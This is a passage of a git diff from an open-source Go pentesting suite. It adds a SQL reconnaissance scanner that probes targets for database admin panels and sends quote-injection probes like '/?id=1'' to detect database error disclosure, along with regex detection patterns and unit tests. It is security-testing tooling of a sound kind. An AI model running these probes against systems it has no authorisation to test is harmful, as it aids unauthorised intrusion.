Version: "1.18.0",
|
||||
Data: "HTTP/1.1 200 OK\r\nServer: nginx",
|
||||
},
|
||||
},
|
||||
}
|
||||
json.NewEncoder(w).Encode(response)
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
// Note: This test would need the actual API endpoint to be overridable
|
||||
// For now, we just verify the response parsing
|
||||
}
|
||||
|
||||
func TestShodanResult_Fields(t *testing.T) {
|
||||
result := ShodanResult{
|
||||
IP: "93.184.216.34",
|
||||
Hostnames: []string{"example.com"},
|
||||
Organization: "EDGECAST",
|
||||
ASN: "AS15133",
|
||||
ISP: "Edgecast Inc.",
|
||||
Country: "United States",
|
||||
City: "Los Angeles",
|
||||
Ports: []int{80, 443},
|
||||
Services: []ShodanService{
|
||||
{
|
||||
Port: 80,
|
||||
Protocol: "tcp",
|
||||
Product: "nginx",
|
||||
Version: "1.18.0",
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
if result.IP != "93.184.216.34" {
|
||||
t.Errorf("expected IP '93.184.216.34', got '%s'", result.IP)
|
||||
}
|
||||
if len(result.Hostnames) != 1 || result.Hostnames[0] != "example.com" {
|
||||
t.Errorf("expected hostnames ['example.com'], got %v", result.Hostnames)
|
||||
}
|
||||
if result.Organization != "EDGECAST" {
|
||||
t.Errorf("expected org 'EDGECAST', got '%s'", result.Organization)
|
||||
}
|
||||
if len(result.Ports) != 2 {
|
||||
t.Errorf("expected 2 ports, got %d", len(result.Ports))
|
||||
}
|
||||
if len(result.Services) != 1 {
|
||||
t.Errorf("expected 1 service, got %d", len(result.Services))
|
||||
}
|
||||
}
|
||||
|
||||
func TestShodanService_Fields(t *testing.T) {
|
||||
service := ShodanService{
|
||||
Port: 443,
|
||||
Protocol: "tcp",
|
||||
Product: "OpenSSL",
|
||||
Version: "1.1.1",
|
||||
Banner: "TLS handshake",
|
||||
Module: "https",
|
||||
}
|
||||
|
||||
if service.Port != 443 {
|
||||
t.Errorf("expected port 443, got %d", service.Port)
|
||||
}
|
||||
if service.Protocol != "tcp" {
|
||||
t.Errorf("expected protocol 'tcp', got '%s'", service.Protocol)
|
||||
}
|
||||
if service.Product != "OpenSSL" {
|
||||
t.Errorf("expected product 'OpenSSL', got '%s'", service.Product)
|
||||
}
|
||||
}
|
||||
|
||||
func TestShodan_NoAPIKey(t *testing.T) {
|
||||
// ensure no API key is set
|
||||
originalKey := ""
|
||||
// Note: we can't easily test this without setting/unsetting env vars
|
||||
// which could affect other tests. This is just a placeholder.
|
||||
_ = originalKey
|
||||
}
|
||||
|
||||
func TestShodanIntegration(t *testing.T) {
|
||||
// This would be an integration test with the real Shodan API
|
||||
// Skipping in unit tests
|
||||
t.Skip("Integration test - requires valid SHODAN_API_KEY")
|
||||
|
||||
_, err := Shodan("https://example.com", 10*time.Second, "")
|
||||
if err != nil {
|
||||
t.Logf("Shodan lookup failed (expected without API key): %v", err)
|
||||
}
|
||||
}
|
||||
+323
@@ -0,0 +1,323 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
"github.com/dropalldatabases/sif/pkg/logger"
|
||||
)
|
||||
|
||||
// SQLResult represents the results of SQL reconnaissance
|
||||
type SQLResult struct {
|
||||
AdminPanels []SQLAdminPanel `json:"admin_panels,omitempty"`
|
||||
DatabaseErrors []SQLDatabaseError `json:"database_errors,omitempty"`
|
||||
ExposedPorts []int `json:"exposed_ports,omitempty"`
|
||||
}
|
||||
|
||||
// SQLAdminPanel represents a found database admin panel
|
||||
type SQLAdminPanel struct {
|
||||
URL string `json:"url"`
|
||||
Type string `json:"type"`
|
||||
Status int `json:"status"`
|
||||
}
|
||||
|
||||
// SQLDatabaseError represents a detected database error
|
||||
type SQLDatabaseError struct {
|
||||
URL string `json:"url"`
|
||||
DatabaseType string `json:"database_type"`
|
||||
ErrorPattern string `json:"error_pattern"`
|
||||
}
|
||||
|
||||
// common database admin panel paths
|
||||
var sqlAdminPaths = []struct {
|
||||
path string
|
||||
panelType string
|
||||
}{
|
||||
{"/phpmyadmin/", "phpMyAdmin"},
|
||||
{"/phpMyAdmin/", "phpMyAdmin"},
|
||||
{"/pma/", "phpMyAdmin"},
|
||||
{"/PMA/", "phpMyAdmin"},
|
||||
{"/mysql/", "phpMyAdmin"},
|
||||
{"/myadmin/", "phpMyAdmin"},
|
||||
{"/MyAdmin/", "phpMyAdmin"},
|
||||
{"/adminer/", "Adminer"},
|
||||
{"/adminer.php", "Adminer"},
|
||||
{"/pgadmin/", "pgAdmin"},
|
||||
{"/phppgadmin/", "phpPgAdmin"},
|
||||
{"/sql/", "SQL Interface"},
|
||||
{"/db/", "Database Interface"},
|
||||
{"/database/", "Database Interface"},
|
||||
{"/dbadmin/", "Database Admin"},
|
||||
{"/mysql-admin/", "MySQL Admin"},
|
||||
{"/mysqladmin/", "MySQL Admin"},
|
||||
{"/sqlmanager/", "SQL Manager"},
|
||||
{"/websql/", "WebSQL"},
|
||||
{"/sqlweb/", "SQLWeb"},
|
||||
{"/rockmongo/", "RockMongo"},
|
||||
{"/mongodb/", "MongoDB Interface"},
|
||||
{"/mongo/", "MongoDB Interface"},
|
||||
{"/redis/", "Redis Interface"},
|
||||
{"/redis-commander/", "Redis Commander"},
|
||||
{"/phpredisadmin/", "phpRedisAdmin"},
|
||||
}
|
||||
|
||||
// database error patterns to detect database type
|
||||
var databaseErrorPatterns = []struct {
|
||||
pattern *regexp.Regexp
|
||||
databaseType string
|
||||
}{
|
||||
{regexp.MustCompile(`(?i)mysql.*error`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)mysql.*syntax`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)you have an error in your sql syntax`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)warning.*mysql`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)mysql_fetch`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)mysql_num_rows`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)mysqli`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)postgresql.*error`), "PostgreSQL"},
|
||||
{regexp.MustCompile(`(?i)pg_query`), "PostgreSQL"},
|
||||
{regexp.MustCompile(`(?i)pg_exec`), "PostgreSQL"},
|
||||
{regexp.MustCompile(`(?i)psql.*error`), "PostgreSQL"},
|
||||
{regexp.MustCompile(`(?i)unterminated quoted string`), "PostgreSQL"},
|
||||
{regexp.MustCompile(`(?i)microsoft.*odbc.*sql server`), "Microsoft SQL Server"},
|
||||
{regexp.MustCompile(`(?i)mssql.*error`), "Microsoft SQL Server"},
|
||||
{regexp.MustCompile(`(?i)sql server.*error`), "Microsoft SQL Server"},
|
||||
{regexp.MustCompile(`(?i)unclosed quotation mark`), "Microsoft SQL Server"},
|
||||
{regexp.MustCompile(`(?i)sqlsrv`), "Microsoft SQL Server"},
|
||||
{regexp.MustCompile(`(?i)ora-\d{5}`), "Oracle"},
|
||||
{regexp.MustCompile(`(?i)oracle.*error`), "Oracle"},
|
||||
{regexp.MustCompile(`(?i)oci_`), "Oracle"},
|
||||
{regexp.MustCompile(`(?i)sqlite.*error`), "SQLite"},
|
||||
{regexp.MustCompile(`(?i)sqlite3`), "SQLite"},
|
||||
{regexp.MustCompile(`(?i)sqlite_`), "SQLite"},
|
||||
{regexp.MustCompile(`(?i)mongodb.*error`), "MongoDB"},
|
||||
{regexp.MustCompile(`(?i)document.*bson`), "MongoDB"},
|
||||
}
|
||||
|
||||
// SQL performs SQL reconnaissance on the target URL
|
||||
func SQL(targetURL string, timeout time.Duration, threads int, logdir string) (*SQLResult, error) {
|
||||
fmt.Println(styles.Separator.Render("🗃️ Starting " + styles.Status.Render("SQL reconnaissance") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(targetURL, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "SQL reconnaissance"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
sqllog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "SQL 🗃️",
|
||||
}).With("url", targetURL)
|
||||
|
||||
sqllog.Infof("Starting SQL reconnaissance...")
|
||||
|
||||
result := &SQLResult{
|
||||
AdminPanels: []SQLAdminPanel{},
|
||||
DatabaseErrors: []SQLDatabaseError{},
|
||||
}
|
||||
|
||||
var mu sync.Mutex
|
||||
var wg sync.WaitGroup
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||
if len(via) >= 3 {
|
||||
return http.ErrUseLastResponse
|
||||
}
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
// check for admin panels
|
||||
wg.Add(threads)
|
||||
adminPathsChan := make(chan int, len(sqlAdminPaths))
|
||||
for i := range sqlAdminPaths {
|
||||
adminPathsChan <- i
|
||||
}
|
||||
close(adminPathsChan)
|
||||
|
||||
for t := 0; t < threads; t++ {
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for idx := range adminPathsChan {
|
||||
adminPath := sqlAdminPaths[idx]
|
||||
checkURL := strings.TrimSuffix(targetURL, "/") + adminPath.path
|
||||
|
||||
resp, err := client.Get(checkURL)
|
||||
if err != nil {
|
||||
log.Debugf("Error checking %s: %v", checkURL, err)
|
||||
continue
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
// check for successful response (not 404)
|
||||
if resp.StatusCode == http.StatusOK || resp.StatusCode == http.StatusForbidden || resp.StatusCode == http.StatusUnauthorized {
|
||||
// read body to check for common admin panel indicators
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100)) // limit to 100KB
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
bodyStr := string(body)
|
||||
|
||||
// check if it's actually an admin panel (not just a generic page)
|
||||
if isAdminPanel(bodyStr, adminPath.panelType) {
|
||||
mu.Lock()
|
||||
panel := SQLAdminPanel{
|
||||
URL: checkURL,
|
||||
Type: adminPath.panelType,
|
||||
Status: resp.StatusCode,
|
||||
}
|
||||
result.AdminPanels = append(result.AdminPanels, panel)
|
||||
mu.Unlock()
|
||||
|
||||
sqllog.Warnf("Found %s at [%s] (status: %d)",
|
||||
styles.SeverityHigh.Render(adminPath.panelType),
|
||||
styles.Highlight.Render(checkURL),
|
||||
resp.StatusCode)
|
||||
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("Found %s at [%s] (status: %d)\n", adminPath.panelType, checkURL, resp.StatusCode))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
// check main URL for database errors
|
||||
checkDatabaseErrors(client, targetURL, sanitizedURL, result, sqllog, logdir, &mu)
|
||||
|
||||
// check common endpoints that might expose database errors
|
||||
errorCheckPaths := []string{
|
||||
"/?id=1'",
|
||||
"/?id=1\"",
|
||||
"/?page=1'",
|
||||
"/?q=test'",
|
||||
"/search?q=test'",
|
||||
"/login",
|
||||
"/api/",
|
||||
}
|
||||
|
||||
for _, path := range errorCheckPaths {
|
||||
checkURL := strings.TrimSuffix(targetURL, "/") + path
|
||||
checkDatabaseErrors(client, checkURL, sanitizedURL, result, sqllog, logdir, &mu)
|
||||
}
|
||||
|
||||
// summary
|
||||
if len(result.AdminPanels) > 0 {
|
||||
sqllog.Warnf("Found %d database admin panel(s)", len(result.AdminPanels))
|
||||
}
|
||||
if len(result.DatabaseErrors) > 0 {
|
||||
sqllog.Warnf("Found %d database error disclosure(s)", len(result.DatabaseErrors))
|
||||
}
|
||||
|
||||
if len(result.AdminPanels) == 0 && len(result.DatabaseErrors) == 0 {
|
||||
sqllog.Infof("No SQL exposures found")
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func isAdminPanel(body string, panelType string) bool {
|
||||
bodyLower := strings.ToLower(body)
|
||||
|
||||
switch panelType {
|
||||
case "phpMyAdmin":
|
||||
return strings.Contains(bodyLower, "phpmyadmin") ||
|
||||
strings.Contains(bodyLower, "pma_") ||
|
||||
strings.Contains(body, "phpMyAdmin")
|
||||
case "Adminer":
|
||||
return strings.Contains(bodyLower, "adminer") ||
|
||||
strings.Contains(body, "Adminer")
|
||||
case "pgAdmin":
|
||||
return strings.Contains(bodyLower, "pgadmin") ||
|
||||
strings.Contains(body, "pgAdmin")
|
||||
case "phpPgAdmin":
|
||||
return strings.Contains(bodyLower, "phppgadmin")
|
||||
case "RockMongo":
|
||||
return strings.Contains(bodyLower, "rockmongo")
|
||||
case "Redis Commander":
|
||||
return strings.Contains(bodyLower, "redis commander") ||
|
||||
strings.Contains(bodyLower, "redis-commander")
|
||||
case "phpRedisAdmin":
|
||||
return strings.Contains(bodyLower, "phpredisadmin")
|
||||
default:
|
||||
// for generic database interfaces, check for common keywords
|
||||
return strings.Contains(bodyLower, "database") ||
|
||||
strings.Contains(bodyLower, "sql") ||
|
||||
strings.Contains(bodyLower, "query") ||
|
||||
strings.Contains(bodyLower, "mysql") ||
|
||||
strings.Contains(bodyLower, "postgresql") ||
|
||||
strings.Contains(bodyLower, "mongodb")
|
||||
}
|
||||
}
|
||||
|
||||
func checkDatabaseErrors(client *http.Client, checkURL, sanitizedURL string, result *SQLResult, sqllog *log.Logger, logdir string, mu *sync.Mutex) {
|
||||
resp, err := client.Get(checkURL)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
bodyStr := string(body)
|
||||
|
||||
for _, pattern := range databaseErrorPatterns {
|
||||
if pattern.pattern.MatchString(bodyStr) {
|
||||
mu.Lock()
|
||||
// check if we already have this error for this URL
|
||||
found := false
|
||||
for _, existing := range result.DatabaseErrors {
|
||||
if existing.URL == checkURL && existing.DatabaseType == pattern.databaseType {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
dbError := SQLDatabaseError{
|
||||
URL: checkURL,
|
||||
DatabaseType: pattern.databaseType,
|
||||
ErrorPattern: pattern.pattern.String(),
|
||||
}
|
||||
result.DatabaseErrors = append(result.DatabaseErrors, dbError)
|
||||
|
||||
sqllog.Warnf("Database error disclosure: %s at [%s]",
|
||||
styles.SeverityHigh.Render(pattern.databaseType),
|
||||
styles.Highlight.Render(checkURL))
|
||||
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("Database error disclosure: %s at [%s]\n", pattern.databaseType, checkURL))
|
||||
}
|
||||
}
|
||||
mu.Unlock()
|
||||
break // only report one database type per URL
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,280 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestIsAdminPanel_phpMyAdmin(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"contains phpMyAdmin", "<html><title>phpMyAdmin</title></html>", true},
|
||||
{"contains pma_", "<script>var pma_token = '123';</script>", true},
|
||||
{"empty body", "", false},
|
||||
{"unrelated content", "<html><title>Hello World</title></html>", false},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := isAdminPanel(tt.body, "phpMyAdmin")
|
||||
if result != tt.expected {
|
||||
t.Errorf("isAdminPanel(%q, 'phpMyAdmin') = %v, want %v", tt.body, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsAdminPanel_Adminer(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"contains Adminer", "<html><title>Adminer</title></html>", true},
|
||||
{"lowercase adminer", "<div>adminer version 4.8</div>", true},
|
||||
{"empty body", "", false},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := isAdminPanel(tt.body, "Adminer")
|
||||
if result != tt.expected {
|
||||
t.Errorf("isAdminPanel(%q, 'Adminer') = %v, want %v", tt.body, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsAdminPanel_GenericDatabase(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"contains database", "<html><title>Database Manager</title></html>", true},
|
||||
{"contains sql", "<div>SQL Query Interface</div>", true},
|
||||
{"contains mysql", "<script>mysql_query()</script>", true},
|
||||
{"contains postgresql", "<div>PostgreSQL Admin</div>", true},
|
||||
{"empty body", "", false},
|
||||
{"unrelated content", "<html><title>Blog</title></html>", false},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := isAdminPanel(tt.body, "Database Interface")
|
||||
if result != tt.expected {
|
||||
t.Errorf("isAdminPanel(%q, 'Database Interface') = %v, want %v", tt.body, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSQLResult_Fields(t *testing.T) {
|
||||
result := SQLResult{
|
||||
AdminPanels: []SQLAdminPanel{
|
||||
{
|
||||
URL: "http://example.com/phpmyadmin/",
|
||||
Type: "phpMyAdmin",
|
||||
Status: 200,
|
||||
},
|
||||
},
|
||||
DatabaseErrors: []SQLDatabaseError{
|
||||
{
|
||||
URL: "http://example.com/?id=1'",
|
||||
DatabaseType: "MySQL",
|
||||
ErrorPattern: "mysql.*error",
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
if len(result.AdminPanels) != 1 {
|
||||
t.Errorf("expected 1 admin panel, got %d", len(result.AdminPanels))
|
||||
}
|
||||
if result.AdminPanels[0].Type != "phpMyAdmin" {
|
||||
t.Errorf("expected type 'phpMyAdmin', got '%s'", result.AdminPanels[0].Type)
|
||||
}
|
||||
if len(result.DatabaseErrors) != 1 {
|
||||
t.Errorf("expected 1 database error, got %d", len(result.DatabaseErrors))
|
||||
}
|
||||
if result.DatabaseErrors[0].DatabaseType != "MySQL" {
|
||||
t.Errorf("expected database type 'MySQL', got '%s'", result.DatabaseErrors[0].DatabaseType)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDatabaseErrorPatterns_MySQL(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"mysql error", "MySQL Error: Something went wrong", true},
|
||||
{"mysql syntax", "You have an error in your SQL syntax", true},
|
||||
{"mysql fetch", "Warning: mysql_fetch_array()", true},
|
||||
{"no error", "Welcome to our website", false},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
found := false
|
||||
for _, pattern := range databaseErrorPatterns {
|
||||
if pattern.pattern.MatchString(tc.body) {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if found != tc.expected {
|
||||
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDatabaseErrorPatterns_PostgreSQL(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"postgresql error", "PostgreSQL Error: connection failed", true},
|
||||
{"pg_query", "Warning: pg_query(): Query failed", true},
|
||||
{"unterminated string", "ERROR: unterminated quoted string", true},
|
||||
{"no error", "Welcome to our website", false},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
found := false
|
||||
for _, pattern := range databaseErrorPatterns {
|
||||
if pattern.pattern.MatchString(tc.body) {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if found != tc.expected {
|
||||
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDatabaseErrorPatterns_SQLServer(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"mssql error", "MSSQL Error: invalid query", true},
|
||||
{"sql server error", "Microsoft SQL Server Error", true},
|
||||
{"unclosed quote", "Unclosed quotation mark after the character string", true},
|
||||
{"no error", "Welcome to our website", false},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
found := false
|
||||
for _, pattern := range databaseErrorPatterns {
|
||||
if pattern.pattern.MatchString(tc.body) {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if found != tc.expected {
|
||||
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDatabaseErrorPatterns_Oracle(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"ora error code", "ORA-00942: table or view does not exist", true},
|
||||
{"oracle error", "Oracle Error: invalid identifier", true},
|
||||
{"no error", "Welcome to our website", false},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
found := false
|
||||
for _, pattern := range databaseErrorPatterns {
|
||||
if pattern.pattern.MatchString(tc.body) {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if found != tc.expected {
|
||||
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSQLAdminPanelDetection(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/phpmyadmin/":
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("<html><title>phpMyAdmin</title></html>"))
|
||||
case "/adminer/":
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("<html><title>Adminer</title></html>"))
|
||||
default:
|
||||
w.WriteHeader(http.StatusNotFound)
|
||||
}
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
// this is a basic test to verify the server mock works
|
||||
resp, err := http.Get(server.URL + "/phpmyadmin/")
|
||||
if err != nil {
|
||||
t.Fatalf("failed to get phpmyadmin: %v", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Errorf("expected status 200 for /phpmyadmin/, got %d", resp.StatusCode)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSQLDatabaseErrorDetection(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Query().Get("id") == "1'" {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("MySQL Error: You have an error in your SQL syntax"))
|
||||
} else {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("Welcome to our website"))
|
||||
}
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
// verify server returns mysql error for injection attempt
|
||||
resp, err := http.Get(server.URL + "/?id=1'")
|
||||
if err != nil {
|
||||
t.Fatalf("failed to make request: %v", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Errorf("expected status 200, got %d", resp.StatusCode)
|
||||
}
|
||||
}
|
||||
@@ -1,3 +1,15 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
|
||||
+9
-21
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package utils
|
||||
|
||||
@@ -1,3 +1,15 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
